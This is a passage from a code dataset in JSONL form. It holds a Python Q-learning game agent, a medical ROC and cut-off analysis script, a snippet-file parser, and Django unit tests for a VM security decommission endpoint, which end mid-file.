"json.dumps", "line_number": 20, "usage_type": "call"}, {"api_name": "http.client.client.HTTPConnection", "line_number": 22, "usage_type": "call"}, {"api_name": "http.client.client", "line_number": 22, "usage_type": "attribute"}, {"api_name": "http.client", "line_number": 22, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 30, "usage_type": "call"}, {"api_name": "BuildWorker.startWorker", "line_number": 30, "usage_type": "name"}, {"api_name": "django.http.HttpResponse", "line_number": 33, "usage_type": "call"}]}
+{"seq_id": "360591178", "text": "import numpy as np\nimport random\nfrom random import shuffle\nfrom time import time, sleep\nfrom collections import deque\nimport os.path as op\n\nfrom settings import s\nfrom settings import e\n\ndef setup(self):\n    np.random.seed() \n    # Q matrix\n    if (op.isfile(\"\\agent_code\\my_agent\\Q.txt\") == False):\n        Q = np.zeros((176,5),dtype = float)          # [][0] = UP ; [][1] = DOWN ; [][2] = LEFT ; [][3] = RIGHT ; [][4] = WAIT\n        np.savetxt(\"agent_code\\my_agent\\Q.txt\", Q)\n        \n    self.coordinate_history = deque([], 400)\n   \n    self.logger.info('Initialize')\n        \n        \ndef act(self):    \n    Q = np.loadtxt(\"agent_code\\my_agent\\Q.txt\")\n    arena = self.game_state['arena']\n    x, y, _, bombs_left, score = self.game_state['self']\n    self.logger.debug(f'(x,y): {(x,y)}')\n    self.coordinate_history.append((x,y))\n\n    \n\n    \n    epsilon = 0.1    \n    action_ideas = ['UP', 'DOWN', 'LEFT', 'RIGHT' , 'WAIT']\n    shuffle(action_ideas)        \n    if np.random.rand(1) <= epsilon:\n        self.next_action = action_ideas.pop()\n    else:\n        accessible = []\n        for a in range(16):\n            for b in range(16):\n                if (arena[a][b] != -1):\n                    accessible.append((a,b))\n        self.logger.debug(f'accessible: {accessible}')\n        index = accessible.index((x,y))\n        self.logger.debug(f'index: {index}')\n                    \n        q_state = Q[index]\n        act = np.argmax(q_state)\n        if act == 0: action_ideas.append('UP')\n        if act == 1: action_ideas.append('DOWN')\n        if act == 2: action_ideas.append('LEFT')\n        if act == 3: action_ideas.append('RIGHT')\n        if act == 4: action_ideas.append('WAIT')        \n        self.next_action = action_ideas.pop()\n    self.logger.info('Pick action')\n\ndef reward_update(self): \n    \n    Q = np.loadtxt(\"agent_code\\my_agent\\Q.txt\")\n    alpha = 1\n    \n    # reward matrix\n    if (op.isfile(\"reward.txt\") == False):\n        reward = np.zeros((176,5),dtype = float)\n        np.savetxt(\"reward.txt\", reward)\n    \n    \n    arena = self.game_state['arena']\n    \n    accessible = []\n    for a in range(16):\n        for b in range(16):\n            if (arena[a][b] != -1):\n                accessible.append((a,b))\n        \n    (x,y) = self.coordinate_history.pop()\n    state = accessible.index((x,y))\n            \n    self.logger.debug(f'x,y: {(x,y)} state: {state}')\n    \n    \n    re = 0\n    if self.events == e.MOVED_LEFT:\n        re = re - 1\n    if self.events == e.MOVED_RIGHT:\n        re = re - 1\n    if self.events == e.MOVED_UP:\n        re = re - 1\n    if self.events == e.MOVED_DOWN:\n        re = re - 1\n    if self.events == e.WAITED:\n        re = re - 1\n    if self.events == e.COIN_COLLECTED:\n        re = re + 100\n    \n    col = 0\n    if self.next_action == 'UP':\n        col = 0\n    if self.next_action == 'DOWN':\n        col = 1\n    if self.next_action == 'LEFT':\n        col = 2\n    if self.next_action == 'RIGHT':\n        col = 3\n    if self.next_action == 'WAIT':\n        col = 4\n    \n    reward[statecol] = re\n    self.logger.debug(f'Encountered {len(self.events)} game event(s)')\n    self.logger.debug(f'reward: {reward}')\n\n    np.savetxt(\"reward.txt\", reward)\n\n\ndef end_of_episode(self):  \n    Q = np.loadtxt(\"agent_code\\my_agent\\Q.txt\")\n    reward = np.loadtxt(\"reward.txt\")\n    alpha = 1\n    gamma = 0.9 \n    \n    first_state = self.coordinate_history.popleft()\n    \n#    arena = self.game_state['arena']\n#    accessible = []\n#    for a in range(16):\n#        for b in range(16):\n#            if (arena[a][b] != -1):\n#                accessible.append((a,b))\n    \n#    for state in accessible:\n#        if self.next_action == 'UP': next_state = accessible.index((x,y+1))\n#        if self.next_action == 'DOWN': next_state = accessible.index((x,y-1))\n#        if self.next_action == 'LEFT': next_state = accessible.index((x-1,y))\n#        if self.next_action == 'RIGHT': next_state = accessible.index((x+1,y))\n#        if self.next_action == 'WAIT': next_state = accessible.index((x,y))\n#        max_Q_next = np.argmax(Q[next_state])    \n    Q = Q + alpha * reward\n    np.savetxt(\"agent_code\\my_agent\\Q.txt\", Q)\n    \n    self.logger.debug(f'Q: {Q}')\n    \n    self.logger.debug(f'Encountered {len(self.events)} game event(s) in final step')", "sub_path": "callbacks2.py", "file_name": "callbacks2.py", "file_ext": "py", "file_size_in_byte": 4278, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.random.seed", "line_number": 12, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 16, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 18, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 24, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 60, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 66, "usage_type": "call"}, {"api_name": "settings.e.MOVED_LEFT", "line_number": 84, "usage_type": "attribute"}, {"api_name": "settings.e", "line_number": 84, "usage_type": "name"}, {"api_name": "settings.e.MOVED_RIGHT", "line_number": 86, "usage_type": "attribute"}, {"api_name": "settings.e", "line_number": 86, "usage_type": "name"}, {"api_name": "settings.e.MOVED_UP", "line_number": 88, "usage_type": "attribute"}, {"api_name": "settings.e", "line_number": 88, "usage_type": "name"}, {"api_name": "settings.e.MOVED_DOWN", "line_number": 90, "usage_type": "attribute"}, {"api_name": "settings.e", "line_number": 90, "usage_type": "name"}, {"api_name": "settings.e.WAITED", "line_number": 92, "usage_type": "attribute"}, {"api_name": "settings.e", "line_number": 92, "usage_type": "name"}, {"api_name": "settings.e.COIN_COLLECTED", "line_number": 94, "usage_type": "attribute"}, {"api_name": "settings.e", "line_number": 94, "usage_type": "name"}, {"api_name": "numpy.savetxt", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 117, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.savetxt", "line_number": 139, "usage_type": "call"}]}
+{"seq_id": "352637614", "text": "\n# coding: utf-8\n\n# # Medical随机对照实验：\n# # 多分类问题的截断值评估与ROC曲线（非机器学习）\n\n# 1、数据加载\n\n# In[1]:\n\n\nimport math\nimport pandas as pd\nimport numpy as np\nfrom numpy import arange\nfrom scipy import interp\nfrom itertools import cycle\nfrom sklearn.metrics import roc_curve, auc\nimport matplotlib.pyplot as plt\n\n\n# In[2]:\n\n\ndf = pd.read_csv('./data.csv')\n\n\n# In[3]:\n\n\ndf = df.sort_values(by=['FRAILNH总分新'])\ndf\n\n\n# 2、初始化变量\n\n# In[4]:\n\n\n# FRAILNH得分区间\nFRAILNH = np.array(df['FRAILNH总分新'])\nFRAILNH_max = np.max(np.array(df['FRAILNH总分新']))\nFRAILNH_min = np.min(np.array(df['FRAILNH总分新']))\nprint(FRAILNH_max)\nprint(FRAILNH_min)\n\n\n# In[5]:\n\n\n# 保存病例组{索引，类别标签}的真实值字典\nTrue_dict = {}\nTrue_cls = np.array(df['FI衰弱分度三分类0.08A0.25A'])\nfor i, label in enumerate(True_cls):\n    True_dict[i] = label\n\n\n# In[6]:\n\n\n# 保存病例组各类别索引真实值的numpy\ntrue_1_inds = np.where(True_cls == 1)[0]\ntrue_2_inds = np.where(True_cls == 2)[0]\ntrue_3_inds = np.where(True_cls == 3)[0]\n# 加权权值的具体分布情况\nweights_1 = round(len(true_1_inds) / (len(true_1_inds)+len(true_2_inds)+len(true_3_inds)), 2)\nweights_2 = round(len(true_2_inds) / (len(true_1_inds)+len(true_2_inds)+len(true_3_inds)), 2)\nweights_3 = round(len(true_3_inds) / (len(true_1_inds)+len(true_2_inds)+len(true_3_inds)), 2)\nprint(weights_1)\nprint(weights_2)\nprint(weights_3)\n\n\n# 3、遍历寻找最佳截断值\n\n# 【原二分类评价指标：灵敏度+特异度->最大】\n# 【现多分类评价指标：各类别灵敏度不加权/加权求和->最大】\n\n# In[7]:\n\n\n# 遍历FRAILNH得分区间，根据灵敏度、特异度之和的指标，判定最佳的截断值\nTPR_best = 0\nx_1,y_1,x_2,y_2,x_3,y_3 = [],[],[],[],[],[]\nfor cut_off_1 in arange(FRAILNH_min+0.5, FRAILNH_max-0.5, 1.0): # 3分类的第1个截断值遍历\n    for cut_off_2 in arange(cut_off_1+1, FRAILNH_max+0.5, 1.0): # 3分类的第2个截断值遍历\n        # 根据截断值判断的各类别索引\n        weak_1_ind = np.where(FRAILNH < cut_off_1)[0]\n        weak_2_ind = np.where((FRAILNH > cut_off_1) & (FRAILNH < cut_off_2))[0]\n        weak_3_ind = np.where(FRAILNH > cut_off_2)[0]\n        # 各类别灵敏度计算\n        TPR_1 = round(len(set(true_1_inds) & set(weak_1_ind)) / len(true_1_inds), 2)\n        TPR_2 = round(len(set(true_2_inds) & set(weak_2_ind)) / len(true_2_inds), 2)\n        TPR_3 = round(len(set(true_3_inds) & set(weak_3_ind)) / len(true_3_inds), 2)\n        # 各类别特异度计算\n        # print(np.concatenate([weak_2_ind,weak_3_ind],axis=0).shape)\n        TNR_1 = round(len(set(np.concatenate([true_2_inds,true_3_inds],axis=0)) & set(np.concatenate([weak_2_ind,weak_3_ind],axis=0))) / len(np.concatenate([true_2_inds,true_3_inds],axis=0)), 2)\n        TNR_2 = round(len(set(np.concatenate([true_1_inds,true_3_inds],axis=0)) & set(np.concatenate([weak_1_ind,weak_3_ind],axis=0))) / len(np.concatenate([true_1_inds,true_3_inds],axis=0)), 2)\n        TNR_3 = round(len(set(np.concatenate([true_1_inds,true_2_inds],axis=0)) & set(np.concatenate([weak_1_ind,weak_2_ind],axis=0))) / len(np.concatenate([true_1_inds,true_2_inds],axis=0)), 2)\n        # 准备各类别ROC曲线的描点坐标\n        x_1.append(1-TNR_1)\n        x_2.append(1-TNR_2)\n        x_3.append(1-TNR_3)\n        y_1.append(TPR_1)\n        y_2.append(TPR_2)\n        y_3.append(TPR_3)\n        # 注：这里采用加权的灵敏度指标，因为各类别样本数量不均\n        if TPR_1+TPR_2+TPR_3 >= TPR_best:\n            # 满足加权的灵敏度指标条件下，各类别单独的TPR与TNR\n            TPR_1_best = TPR_1\n            TPR_2_best = TPR_2\n            TPR_3_best = TPR_3\n            TNR_1_best = TNR_1\n            TNR_2_best = TNR_2\n            TNR_3_best = TNR_3\n            # 计算与金标准的分类结果相比，最佳的匹配数量\n            TPR_best = TPR_1+TPR_2+TPR_3\n            num_best = len(set(true_1_inds) & set(weak_1_ind))+len(set(true_2_inds) & set(weak_2_ind))+len(set(true_3_inds) & set(weak_3_ind))\n            cut_off_1_best = cut_off_1\n            cut_off_2_best = cut_off_2\n# 打印截断值的统计情况\nprint('最佳截断值_1_区间：{}～{}'.format(math.floor(cut_off_1_best),math.ceil(cut_off_1_best)))\nprint('最佳截断值_2_区间：{}～{}'.format(math.floor(cut_off_2_best),math.ceil(cut_off_2_best)))\nprint('截断值的最佳匹配样本数量：{}'.format(num_best))\nprint('类别_1_漏诊率：{}'.format(1-TPR_1_best))\nprint('类别_2_漏诊率：{}'.format(1-TPR_2_best))\nprint('类别_3_漏诊率：{}'.format(1-TPR_3_best))\nprint('类别_1_误诊率：{}'.format(1-TNR_1_best))\nprint('类别_2_误诊率：{}'.format(1-TNR_2_best))\nprint('类别_3_误诊率：{}'.format(1-TNR_3_best))\n\n\n# 4、绘制各类别的ROC曲线\n\n# In[8]:\n\n\n# 注：医学统计里的ROC不同于数据挖掘领域的ROC，需要业务支撑。（跟截断值对的变化过程相关）\nplt.figure()\nplt.plot(x_1,y_1,label='cls_1')\nplt.plot(x_2,y_2,label='cls_2')\nplt.plot(x_3,y_3,label='cls_3')\n# \nplt.xlabel('1-TNR')\nplt.ylabel('TPR')\n# 标题与图例\nplt.title('Medical ROC Curves for Multi-class with Sliding Cut-off')\nplt.legend()\nplt.show()\n\"\"\"\n注：因为是多分类不同截断值对的遍历结果，所以经验ROC曲线参考意义不大\n\"\"\"\n\n\n# In[9]:\n\n\n# 注：拿数据挖掘领域的ROC曲线做分析（跟截断值对的变化过程无关，只拿前面找到的最佳截断值对）\nfrom sklearn.preprocessing import label_binarize\nPred_cls = []\nboolean = True\n## FRAILNH得分数组排序\nFRAILNH_sort = sorted(FRAILNH)\n# print(FRAILNH_sort)\narray_1 = np.where(FRAILNH_sort < cut_off_1_best, 1, 2)\narray_2 = np.where(FRAILNH_sort > cut_off_2_best, 3, 2)\nfor i in range(len(FRAILNH_sort)):\n    if array_1[i] == array_2[i]:\n        boolean = False\n    if array_1[i] < array_2[i] and boolean:\n        Pred_cls.append(array_1[i])\n    else:\n        Pred_cls.append(array_2[i])\nPred_cls = np.array(Pred_cls)\n# print(Pred_cls)\ny_score = label_binarize(True_cls, classes=[1, 2, 3])\ny_test = label_binarize(Pred_cls, classes=[1, 2, 3])\nn_classes = y_score.shape[1]\n# 计算每一类的ROC\nfpr = dict()\ntpr = dict()\nroc_auc = dict()\nfor i in range(n_classes):\n    fpr[i], tpr[i], _ = roc_curve(y_test[:, i], y_score[:, i])\n    roc_auc[i] = auc(fpr[i], tpr[i])\n# Compute micro-average ROC curve and ROC area（方法二）\nfpr[\"micro\"], tpr[\"micro\"], _ = roc_curve(y_test.ravel(), y_score.ravel())\nroc_auc[\"micro\"] = auc(fpr[\"micro\"], tpr[\"micro\"])\n\n# Compute macro-average ROC curve and ROC area（方法一）\n# First aggregate all false positive rates\nall_fpr = np.unique(np.concatenate([fpr[i] for i in range(n_classes)]))\n# Then interpolate all ROC curves at this points\nmean_tpr = np.zeros_like(all_fpr)\nfor i in range(n_classes):\n    mean_tpr += interp(all_fpr, fpr[i], tpr[i])\n# Finally average it and compute AUC\nmean_tpr /= n_classes\nfpr[\"macro\"] = all_fpr\ntpr[\"macro\"] = mean_tpr\nroc_auc[\"macro\"] = auc(fpr[\"macro\"], tpr[\"macro\"])\n\n# 画出各类别的ROC曲线以及两种合并算法（micro与macro）的综合ROC曲线\nlw=2\nplt.figure()\nplt.plot(fpr[\"micro\"], tpr[\"micro\"],\n         label='micro-average ROC curve (area = {0:0.2f})'\n               ''.format(roc_auc[\"micro\"]),\n         color='deeppink', linestyle=':', linewidth=4)\n\nplt.plot(fpr[\"macro\"], tpr[\"macro\"],\n         label='macro-average ROC curve (area = {0:0.2f})'\n               ''.format(roc_auc[\"macro\"]),\n         color='navy', linestyle=':', linewidth=4)\n\ncolors = cycle(['aqua', 'darkorange', 'cornflowerblue'])\nfor i, color in zip(range(n_classes), colors):\n    plt.plot(fpr[i], tpr[i], color=color, lw=lw,\n             label='ROC curve of class {0} (area = {1:0.2f})'\n             ''.format(i+1, roc_auc[i]))\n\nplt.plot([0, 1], [0, 1], 'k--', lw=lw)\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.xlabel('False Positive Rate')\nplt.ylabel('True Positive Rate')\nplt.title('Medical ROC Curves for Multi-class')\nplt.legend(loc=\"lower right\")\nplt.show()\n\n", "sub_path": "Cut-off and ROC for Multi Classification .py", "file_name": "Cut-off and ROC for Multi Classification .py", "file_ext": "py", "file_size_in_byte": 8071, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pandas.read_csv", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 63, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 86, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 89, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 99, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 122, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 122, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 123, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 123, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 144, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 144, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 145, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 145, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 147, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 147, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 149, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 149, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 165, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 166, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 174, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.label_binarize", "line_number": 176, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.label_binarize", "line_number": 177, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 184, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 185, "usage_type": "call"}, {"api_name": "sklearn.metrics.roc_curve", "line_number": 187, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 188, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 194, "usage_type": "call"}, {"api_name": "scipy.interp", "line_number": 196, "usage_type": "call"}, {"api_name": "sklearn.metrics.auc", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 205, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 206, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 206, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 211, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 211, "usage_type": "name"}, {"api_name": "itertools.cycle", "line_number": 216, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 218, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 218, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 222, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 222, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 223, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 223, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 224, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 224, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 225, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 225, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 226, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 226, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 227, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 227, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 228, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 228, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 229, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 229, "usage_type": "name"}]}
+{"seq_id": "579038677", "text": "import re\n\nimport itertools\n\nimport PLL\nimport PPL\n\nclass Basicᕵ(PPL.ᕵ͈):\n\n    def parse(𝚵, c):\n        ᴧ̲ = PLL.Ҁ͈ᴧ̲(c)\n        snp̲ = {}\n\n        for ᴧ in ᴧ̲:\n            if re.search('^\\s*#|^\\s*$', ᴧ):\n                # Skip\n                continue\n            if not re.search('^\\s*snippet\\s+', ᴧ):\n                # Error\n                return {}\n\n            snippet = 𝚵.parseSnippet(ᴧ, ᴧ̲)\n            if not snippet:\n                # Error\n                return {}\n            snp̲[snippet['trigger']] = snippet\n        return snp̲\n\n    def parseSnippet(𝚵, ᴧ, ᴧ̲):\n        m = re.search('^\\s*snippet\\s+(.*)$', ᴧ)\n        if not m:\n            return {}\n\n        snippet = {}\n        snippet['trigger'] = m.group(1)\n        snippet['text'] = ''\n        snippet['options'] = {}\n        snippet['tabstops'] = []\n\n        # Parse the next line\n        for ᴧ in ᴧ̲:\n            m = re.search('^alias\\s+(\\S+)', ᴧ)\n            if m:\n                snippet['alias'] = m.group(1)\n                continue\n\n            m = re.search(\"^regexp\\s+'([^']+)'\", ᴧ)\n            if m:\n                snippet['regexp'] = m.group(1)\n                continue\n\n            m = re.search('^options\\s+(\\S+)', ᴧ)\n            if m:\n                for option in m.group(1).split(' '):\n                    snippet['options'][option] = True\n                continue\n\n            m = re.search('^\\s+(.*)$', ᴧ)\n            if m:\n                return 𝚵.parse_text(snippet, ᴧ, ᴧ̲)\n\n            # Error\n            break\n\n        # Error\n        return {}\n\n    def parse_text(𝚵, snippet, ᴧ, ᴧ̲):\n        text_ᴧnr = 0\n        for ᴧ in itertools.chain(iter([ᴧ]), ᴧ̲):\n            m = re.search('^\\s+(.*)$', ᴧ)\n            if not m:\n                return snippet\n\n            # Substitute tabstops\n            ᴧ = m.group(1)\n            while 1:\n                [tabstop, ᴧ] = 𝚵.parse_tabstop(ᴧ, text_ᴧnr)\n                if not tabstop:\n                    break\n\n                snippet['tabstops'].append(tabstop)\n\n            snippet['text'] += ᴧ\n            text_ᴧnr += 1\n        return snippet\n\n    def parse_tabstop(𝚵, ᴧ, text_ᴧnr):\n        m = re.search('\\${(\\d+)}', ᴧ)\n        if not m:\n            return [{}, ᴧ]\n\n        return [\n            {\n                'number': int(m.group(1)),\n                'row': text_ᴧnr,\n                'col': m.start(),\n                'default': '',\n            },\n            re.sub('\\${(\\d+)}', '', ᴧ, count=1)\n        ]\n", "sub_path": "snp/src/Basicᕵ.py", "file_name": "Basicᕵ.py", "file_ext": "py", "file_size_in_byte": 2566, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "PPL.ᕵ͈", "line_number": 8, "usage_type": "attribute"}, {"api_name": "PLL.Ҁ͈ᴧ̲", "line_number": 11, "usage_type": "call"}, {"api_name": "re.search", "line_number": 15, "usage_type": "call"}, {"api_name": "re.search", "line_number": 18, "usage_type": "call"}, {"api_name": "re.search", "line_number": 30, "usage_type": "call"}, {"api_name": "re.search", "line_number": 42, "usage_type": "call"}, {"api_name": "re.search", "line_number": 47, "usage_type": "call"}, {"api_name": "re.search", "line_number": 52, "usage_type": "call"}, {"api_name": "re.search", "line_number": 58, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 70, "usage_type": "call"}, {"api_name": "re.search", "line_number": 71, "usage_type": "call"}, {"api_name": "re.search", "line_number": 89, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 100, "usage_type": "call"}]}
+{"seq_id": "625395735", "text": "from django.test import TestCase\nfrom django.test import Client\nfrom mock import patch\nfrom mock import MagicMock\nfrom django.urls import reverse\n\n\ndef mock_raise_exception(vm_hostname, unix_policy, win_policy):\n    raise Exception(\"Dummy exception!!\")\n\n\nclass TestDecommissionVMSecurity(TestCase):\n\n    @patch('security.views.decommission.TrendMicroAPI')\n    def test_decommission_post_positive(self, mock_tm_api):\n        instance_tm = mock_tm_api.return_value\n\n        # test req method POST with valid data\n        url = reverse('decommissionSecurity')\n        req_data = {'VirtualMachineHostName': 'test',\n                    'VirtualMachineIPAddress': '1.2.3.4',\n                    \"VirtualMachineID\": \"2a160f6920f14e57affa4d7148e41b4e\",\n                    \"VirtualMachineRID\": \"7a035d02-150a-4545-8dba-4cc696ed3394\",\n                    \"TaskID\": \"7a035d02-150a-4545-8dba-4cc696ed3394\"\n                    }\n        delete_resp_inst = MagicMock()\n        delete_resp_inst.status_code = 200\n        instance_tm.check_minion_status.return_value = True\n        dsm_resp_inst = MagicMock()\n        dsm_resp_inst.json.return_value = {\"computers\":[{\"ID\": 2, \"hostname\": \"abc\"}]}\n        instance_tm.get_dsm_response.return_value = dsm_resp_inst\n        instance_tm.delete_computer.return_value = delete_resp_inst\n        response = self.client.post(url, req_data)\n        self.assertEqual(response.status_code, 200)\n\n    @patch('security.views.decommission.TrendMicroAPI')\n    def test_decommission_post_negative_blank_fields(self, mock_tm_api):\n        url = reverse('decommissionSecurity')\n        # test req method POST with invalid data\n        req_data = {'VirtualMachineHostName': '',\n                    'VirtualMachineIPAddress': '',\n                    \"VirtualMachineID\": \"2a160f6920f14e57affa4d7148e41b4e\",\n                    \"VirtualMachineRID\": \"7a035d02-150a-4545-8dba-4cc696ed3394\",\n                    \"TaskID\": \"7a035d02-150a-4545-8dba-4cc696ed3394\"\n                    }\n        expected_json_out = {'VirtualMachineHostName': ['This field may not be blank.'],\n                             'VirtualMachineIPAddress': ['This field may not be blank.']}\n        response = self.client.post(url, req_data)\n        self.assertEqual(response.status_code, 400)\n        self.assertEqual(response.json(), expected_json_out)\n\n    @patch('security.views.decommission.TrendMicroAPI')\n    def test_decommission_post_negative_minion_status_false(self, mock_tm_api):\n        url = reverse('decommissionSecurity')\n\n        # test req when fetch minion status is false\n        instance_tm = mock_tm_api.return_value\n        req_data = {'VirtualMachineHostName': 'test',\n                    'VirtualMachineIPAddress': '1.2.3.4',\n                    \"VirtualMachineID\": \"2a160f6920f14e57affa4d7148e41b4e\",\n                    \"VirtualMachineRID\": \"7a035d02-150a-4545-8dba-4cc696ed3394\",\n                    \"TaskID\": \"7a035d02-150a-4545-8dba-4cc696ed3394\"\n                    }\n        instance_tm.check_minion_status.return_value = False\n        response = self.client.post(url, req_data)\n        self.assertEqual(response.status_code, 500)\n\n    @patch('security.views.decommission.TrendMicroAPI')\n    def test_decommission_post_negative_exception(self, mock_tm_api):\n        url = reverse('decommissionSecurity')\n\n        # test req when one function raises the exception.\n        instance_tm = mock_tm_api.return_value\n        instance_tm.check_minion_status.return_value = True\n        req_data = {'VirtualMachineHostName': 'test',\n                    'VirtualMachineIPAddress': '1.2.3.4',\n                    \"VirtualMachineID\": \"2a160f6920f14e57affa4d7148e41b4e\",\n                    \"VirtualMachineRID\": \"7a035d02-150a-4545-8dba-4cc696ed3394\",\n                    \"TaskID\": \"7a035d02-150a-4545-8dba-4cc696ed3394\"\n                    }\n\n        instance_tm.delete_computer.side_effect = mock_raise_exception\n        response = self.client.post(url, req_data)\n        self.assertEqual(response.status_code, 500)\n\n    @patch('security.views.decommission.TrendMicroAPI')\n    def test_decommission_post_negative_computer_not_found(self, mock_tm_api):\n        url = reverse('decommissionSecurity')\n\n        instance_tm = mock_tm_api.return_value\n        instance_tm.check_minion_status.return_value = True\n        req_data = {'VirtualMachineHostName': 'test',\n                    'VirtualMachineIPAddress': '1.2.3.4',\n                    \"VirtualMachineID\": \"2a160f6920f14e57affa4d7148e41b4e\",\n                    \"VirtualMachineRID\": \"7a035d02-150a-4545-8dba-4cc696ed3394\",\n                    \"TaskID\": \"7a035d02-150a-4545-8dba-4cc696ed3394\"\n                    }\n\n        response_instance = MagicMock()\n        response_instance.json.return_value = {\"computers\": []}\n        